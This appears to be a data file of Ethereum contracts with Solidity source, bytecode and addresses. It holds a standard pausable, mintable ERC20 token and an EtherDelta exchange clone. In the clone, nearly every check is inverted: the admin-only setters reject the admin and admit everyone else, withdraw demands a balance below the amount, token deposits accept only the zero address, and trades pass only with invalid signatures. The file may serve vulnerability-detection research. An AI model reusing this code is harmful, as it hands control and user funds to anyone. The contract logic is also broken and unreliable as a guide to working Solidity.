* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: zeppelin-solidity/contracts/token/MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
// File: zeppelin-solidity/contracts/lifecycle/Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
// File: zeppelin-solidity/contracts/token/PausableToken.sol
/**
* @title Pausable token
*
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
// File: contracts/TokenToken.sol
/**
* @title Token Token contract - ERC20 compatible token contract.
*/
contract TokenToken is PausableToken, MintableToken {
string public constant name = "TOKEN";
string public constant symbol = "TON";
uint8 public constant decimals = 18;
function TokenToken(address _crowdsaleContract) public {
pause();
owner = _crowdsaleContract;
}
function getTotalSupply() public view returns(uint) {
return totalSupply;
}
}
|
0x606060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461011757806306fdde0314610144578063095ea7b3146101d257806318160ddd1461022c57806323b872dd14610255578063313ce567146102ce5780633f4ba83a146102fd57806340c10f19146103125780635c975abb1461036c578063661884631461039957806370a08231146103f35780637d64bcb4146104405780638456cb591461046d5780638da5cb5b1461048257806395d89b41146104d7578063a9059cbb14610565578063c4e41b22146105bf578063d73dd623146105e8578063dd62ed3e14610642578063f2fde38b146106ae575b600080fd5b341561012257600080fd5b61012a6106e7565b604051808215151515815260200191505060405180910390f35b341561014f57600080fd5b6101576106fa565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019757808201518184015260208101905061017c565b50505050905090810190601f1680156101c45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101dd57600080fd5b610212600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610733565b604051808215151515815260200191505060405180910390f35b341561023757600080fd5b61023f610763565b6040518082815260200191505060405180910390f35b341561026057600080fd5b6102b4600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610769565b604051808215151515815260200191505060405180910390f35b34156102d957600080fd5b6102e161079b565b604051808260ff1660ff16815260200191505060405180910390f35b341561030857600080fd5b6103106107a0565b005b341561031d57600080fd5b610352600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610860565b604051808215151515815260200191505060405180910390f35b341561037757600080fd5b61037f610a48565b604051808215151515815260200191505060405180910390f35b34156103a457600080fd5b6103d9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a5b565b604051808215151515815260200191505060405180910390f35b34156103fe57600080fd5b61042a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a8b565b6040518082815260200191505060405180910390f35b341561044b57600080fd5b610453610ad4565b604051808215151515815260200191505060405180910390f35b341561047857600080fd5b610480610b9c565b005b341561048d57600080fd5b610495610c5d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104e257600080fd5b6104ea610c83565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561052a57808201518184015260208101905061050f565b50505050905090810190601f1680156105575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561057057600080fd5b6105a5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610cbc565b604051808215151515815260200191505060405180910390f35b34156105ca57600080fd5b6105d2610cec565b6040518082815260200191505060405180910390f35b34156105f357600080fd5b610628600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610cf5565b604051808215151515815260200191505060405180910390f35b341561064d57600080fd5b610698600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d25565b6040518082815260200191505060405180910390f35b34156106b957600080fd5b6106e5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dac565b005b600360159054906101000a900460ff1681565b6040805190810160405280600581526020017f544f4b454e00000000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff1615151561075157600080fd5b61075b8383610f04565b905092915050565b60005481565b6000600360149054906101000a900460ff1615151561078757600080fd5b610792848484610ff6565b90509392505050565b601281565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107fc57600080fd5b600360149054906101000a900460ff16151561081757600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108be57600080fd5b600360159054906101000a900460ff161515156108da57600080fd5b6108ef826000546113b590919063ffffffff16565b60008190555061094782600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113b590919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff16151515610a7957600080fd5b610a8383836113d3565b905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b3257600080fd5b600360159054906101000a900460ff16151515610b4e57600080fd5b6001600360156101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bf857600080fd5b600360149054906101000a900460ff16151515610c1457600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f544f4e000000000000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff16151515610cda57600080fd5b610ce48383611664565b905092915050565b60008054905090565b6000600360149054906101000a900460ff16151515610d1357600080fd5b610d1d8383611888565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e0857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610e4457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561103357600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561108157600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561110c57600080fd5b61115e82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8490919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f382600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113b590919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112c582600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8490919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008082840190508381101515156113c957fe5b8091505092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156114e4576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611578565b6114f78382611a8490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156116a157600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156116ef57600080fd5b61174182600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8490919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117d682600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113b590919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061191982600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113b590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000828211151515611a9257fe5b8183039050929150505600a165627a7a72305820b8ecca42323f5c8bdf8f37b76fc64df8d68c4d90ee2bdf68ecaec149c686ab050029
|
{"success": true, "error": null, "results": {}}
| 6,557 |
0x1031804bb1240ab73952337b56b09b502752d14b
|
pragma solidity ^0.4.25;
contract SafeMath {
function safeMul(uint a, uint b) pure internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) pure internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) pure internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract Token {
function totalSupply() public view returns (uint256 supply);
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
uint public decimals;
string public name;
}
contract AccountLevels {
//given a user, returns an account level
//0 = regular user (pays take fee and make fee)
//1 = market maker silver (pays take fee, no make fee, gets rebate)
//2 = market maker gold (pays take fee, no make fee, gets entire counterparty's take fee as rebate)
function accountLevel(address user) public view returns(uint);
}
contract AccountLevelsTest is AccountLevels {
mapping (address => uint) public accountLevels;
function setAccountLevel(address user, uint level) public{
accountLevels[user] = level;
}
function accountLevel(address user) public view returns(uint) {
return accountLevels[user];
}
}
contract EtherDelta is SafeMath {
address public admin; //the admin address
address public feeAccount; //the account that will receive fees
address public accountLevelsAddr; //the address of the AccountLevels contract
uint public feeMake; //percentage times (1 ether)
uint public feeTake; //percentage times (1 ether)
uint public feeRebate; //percentage times (1 ether)
mapping (address => mapping (address => uint)) public tokens; //mapping of token addresses to mapping of account balances (token=0 means Ether)
mapping (address => mapping (bytes32 => bool)) public orders; //mapping of user accounts to mapping of order hashes to booleans (true = submitted by user, equivalent to offchain signature)
mapping (address => mapping (bytes32 => uint)) public orderFills; //mapping of user accounts to mapping of order hashes to uints (amount of order that has been filled)
event Order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user);
event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s);
event Trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address get, address give);
event Deposit(address token, address user, uint amount, uint balance);
event Withdraw(address token, address user, uint amount, uint balance);
constructor(address admin_, address feeAccount_, address accountLevelsAddr_, uint feeMake_, uint feeTake_, uint feeRebate_) public{
admin = admin_;
feeAccount = feeAccount_;
accountLevelsAddr = accountLevelsAddr_;
feeMake = feeMake_;
feeTake = feeTake_;
feeRebate = feeRebate_;
}
function() public{
revert();
}
function changeAdmin(address admin_) public{
require(msg.sender != admin);
admin = admin_;
}
function changeAccountLevelsAddr(address accountLevelsAddr_) public{
require(msg.sender != admin);
accountLevelsAddr = accountLevelsAddr_;
}
function changeFeeAccount(address feeAccount_) public{
require(msg.sender != admin);
feeAccount = feeAccount_;
}
function changeFeeMake(uint feeMake_) public{
require(msg.sender != admin);
require(feeMake_ > feeMake);
feeMake = feeMake_;
}
function changeFeeTake(uint feeTake_) public{
require(msg.sender != admin);
require(feeTake_ > feeTake || feeTake_ < feeRebate);
feeTake = feeTake_;
}
function changeFeeRebate(uint feeRebate_) public{
require(msg.sender != admin);
require(feeRebate_ < feeRebate || feeRebate_ > feeTake);
feeRebate = feeRebate_;
}
function deposit() public payable {
tokens[0][msg.sender] = safeAdd(tokens[0][msg.sender], msg.value);
emit Deposit(0, msg.sender, msg.value, tokens[0][msg.sender]);
}
function withdraw(uint amount) public{
require(tokens[0][msg.sender] < amount);
tokens[0][msg.sender] = safeSub(tokens[0][msg.sender], amount);
require(!msg.sender.call.value(amount)());
emit Withdraw(0, msg.sender, amount, tokens[0][msg.sender]);
}
function depositToken(address token, uint amount) public{
//remember to call Token(address).approve(this, amount) or this contract will not be able to do the transfer on your behalf.
require(token==0);
require(!Token(token).transferFrom(msg.sender, this, amount));
tokens[token][msg.sender] = safeAdd(tokens[token][msg.sender], amount);
emit Deposit(token, msg.sender, amount, tokens[token][msg.sender]);
}
function withdrawToken(address token, uint amount) public{
require(token==0);
require(tokens[token][msg.sender] < amount);
tokens[token][msg.sender] = safeSub(tokens[token][msg.sender], amount);
require(!Token(token).transfer(msg.sender, amount));
emit Withdraw(token, msg.sender, amount, tokens[token][msg.sender]);
}
function balanceOf(address token, address user) public view returns (uint) {
return tokens[token][user];
}
function order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce) public {
bytes32 hash = sha256(abi.encodePacked(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce));
orders[msg.sender][hash] = true;
emit Order(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender);
}
function trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) public{
//amount is in amountGet terms
bytes32 hash = sha256(abi.encodePacked(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce));
require(!(
(orders[user][hash] || ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)),v,r,s) == user) &&
block.number <= expires &&
safeAdd(orderFills[user][hash], amount) <= amountGet
));
tradeBalances(tokenGet, amountGet, tokenGive, amountGive, user, amount);
orderFills[user][hash] = safeAdd(orderFills[user][hash], amount);
emit Trade(tokenGet, amount, tokenGive, amountGive * amount / amountGet, user, msg.sender);
}
function tradeBalances(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address user, uint amount) private {
uint feeMakeXfer = safeMul(amount, feeMake) / (1 ether);
uint feeTakeXfer = safeMul(amount, feeTake) / (1 ether);
uint feeRebateXfer = 0;
if (accountLevelsAddr != 0x0) {
uint accountLevel = AccountLevels(accountLevelsAddr).accountLevel(user);
if (accountLevel==1) feeRebateXfer = safeMul(amount, feeRebate) / (1 ether);
if (accountLevel==2) feeRebateXfer = feeTakeXfer;
}
tokens[tokenGet][msg.sender] = safeSub(tokens[tokenGet][msg.sender], safeAdd(amount, feeTakeXfer));
tokens[tokenGet][user] = safeAdd(tokens[tokenGet][user], safeSub(safeAdd(amount, feeRebateXfer), feeMakeXfer));
tokens[tokenGet][feeAccount] = safeAdd(tokens[tokenGet][feeAccount], safeSub(safeAdd(feeMakeXfer, feeTakeXfer), feeRebateXfer));
tokens[tokenGive][user] = safeSub(tokens[tokenGive][user], safeMul(amountGive, amount) / amountGet);
tokens[tokenGive][msg.sender] = safeAdd(tokens[tokenGive][msg.sender], safeMul(amountGive, amount) / amountGet);
}
function testTrade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) public view returns(bool) {
if (!(
tokens[tokenGet][sender] >= amount &&
availableVolume(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, user, v, r, s) >= amount
)) return false;
return true;
}
function availableVolume(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) public view returns(uint) {
bytes32 hash = sha256(abi.encodePacked(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce));
if (!(
(orders[user][hash] || ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)),v,r,s) == user) &&
block.number <= expires
)) return 0;
uint available1 = safeSub(amountGet, orderFills[user][hash]);
uint available2 = safeMul(tokens[tokenGive][user], amountGet) / amountGive;
if (available1<available2) return available1;
return available2;
}
function amountFilled(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user) public view returns(uint) {
bytes32 hash = sha256(abi.encodePacked(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce));
return orderFills[user][hash];
}
function cancelOrder(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, uint8 v, bytes32 r, bytes32 s) public{
bytes32 hash = sha256(abi.encodePacked(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce));
require(!(orders[msg.sender][hash] || ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)),v,r,s) == msg.sender));
orderFills[msg.sender][hash] = amountGet;
emit Cancel(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender, v, r, s);
}
}
|
0x608060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630a19b14a146101665780630b9276661461024457806319774d43146102cf578063278b8c0e146103345780632d804ca2146103e85780632e1a7d4d146104a7578063338b5dea146104d4578063508493bc1461052157806354d03b5c1461059857806357786394146105c55780635e1d7ae4146105f057806365e17c9d1461061d5780636c86888b1461067457806371ffcb161461078a578063731c2f81146107cd5780638823a9c0146107f85780638f283970146108255780639e281a9814610868578063bb5f4629146108b5578063c281309e1461091e578063d0e30db014610949578063e8f6bc2e14610953578063f341294214610996578063f7888aec146109ed578063f851a44014610a64578063fb6e155f14610abb575b34801561016057600080fd5b50600080fd5b34801561017257600080fd5b50610242600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff1690602001909291908035600019169060200190929190803560001916906020019092919080359060200190929190505050610ba3565b005b34801561025057600080fd5b506102cd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190505050611191565b005b3480156102db57600080fd5b5061031e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560001916906020019092919050505061149c565b6040518082815260200191505060405180910390f35b34801561034057600080fd5b506103e6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190803560ff169060200190929190803560001916906020019092919080356000191690602001909291905050506114c1565b005b3480156103f457600080fd5b50610491600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119c2565b6040518082815260200191505060405180910390f35b3480156104b357600080fd5b506104d260048036038101908080359060200190929190505050611bd0565b005b3480156104e057600080fd5b5061051f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611e51565b005b34801561052d57600080fd5b50610582600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121c1565b6040518082815260200191505060405180910390f35b3480156105a457600080fd5b506105c3600480360381019080803590602001909291905050506121e6565b005b3480156105d157600080fd5b506105da61225c565b6040518082815260200191505060405180910390f35b3480156105fc57600080fd5b5061061b60048036038101908080359060200190929190505050612262565b005b34801561062957600080fd5b506106326122e4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561068057600080fd5b50610770600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff1690602001909291908035600019169060200190929190803560001916906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061230a565b604051808215151515815260200191505060405180910390f35b34801561079657600080fd5b506107cb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506123cd565b005b3480156107d957600080fd5b506107e261246d565b6040518082815260200191505060405180910390f35b34801561080457600080fd5b5061082360048036038101908080359060200190929190505050612473565b005b34801561083157600080fd5b50610866600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506124f5565b005b34801561087457600080fd5b506108b3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612594565b005b3480156108c157600080fd5b50610904600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560001916906020019092919050505061295a565b604051808215151515815260200191505060405180910390f35b34801561092a57600080fd5b50610933612989565b6040518082815260200191505060405180910390f35b61095161298f565b005b34801561095f57600080fd5b50610994600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612b63565b005b3480156109a257600080fd5b506109ab612c03565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109f957600080fd5b50610a4e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612c29565b6040518082815260200191505060405180910390f35b348015610a7057600080fd5b50610a79612cb0565b604051808273fffffffffffffffffffffffffffff